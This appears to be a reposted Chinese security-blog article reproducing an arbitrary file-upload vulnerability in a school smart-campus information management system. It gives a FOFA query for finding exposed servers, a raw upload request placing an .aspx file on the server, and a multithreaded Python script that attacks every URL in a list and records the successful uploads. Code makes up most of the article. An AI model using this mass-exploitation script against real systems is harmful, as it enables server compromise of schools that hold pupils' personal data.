2026-10-25 12:31:47 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

漏洞复现 | 新中新中小学智慧校园信息管理系统文件上传

zkaq - 满心欢喜
zkaq - 满心欢喜

掌控安全EDU

2026年8月31日 12:09
江西

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

扫码领资料

获网安教程

本文由掌控安全学院 - 满心欢喜投稿

来Track安全社区投稿~

千元稿费！还有保底奖励~（ https://bbs.zkaq.cn）

漏洞描述：

新中新中小学智慧校园信息管理系统PSE存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限

fofa搜索语句：

body=”/Login/IndexMobi”

资产首页：

刷新抓包

payload:

POST /PSE/Upload HTTP/1.1
Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Content-Type: multipart/form-data; boundary=00content0boundary00
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Content-Length: 147
Connection: close--00content0boundary00
Content-Disposition: form-data; name=\"file\"; filename=\"test.aspx\"
Content-Type: image/jpg

123
--00content0boundary00--

拼接访问
url/Upload/PrimarySchoolEnrollment/3accfc2c-efd1-4ccb-8ed5-0d76b6a2a908.aspx

批量检测poc

import requests
import threading

def run_poc(url):

    headers = {
        \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",
        \"Content-Type\": \"multipart/form-data; boundary=00content0boundary00\",
        \"Accept\": \"text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\",
        \"Connection\": \"close\"
    }

    # 构建multipart/form-data
    data = (
        \"--00content0boundary00\\r\
\"
        'Content-Disposition: form-data; name=\"file\"; filename=\"test.aspx\"\\r\
'
        \"Content-Type: image/jpg\\r\
\\r\
\"
        \"123\\r\
\"
        \"--00content0boundary00--\\r\
\"
    )

    response = requests.post(url + '/PSE/Upload', headers=headers, data=data, verify=False).json()
    try:
        if response['Success']:
            open('success.txt', 'a+').write(url + '/Upload/PrimarySchoolEnrollment/' + response['SaveName'] + '\
')
    except:
        pass

# url.txt内放目标  一行一个   不加协议默认http  上传成功自动存到success.txt内

for url in open('urls.txt', 'r'):
    url = url.replace('\
', '')
    if url.find('http://') == -1 and url.find('https://') == -1: url = 'http://' + url
    threading.Thread(target=run_poc, args=[url, ]).start()
    # Run_Poc(url)

urls.txt 放目标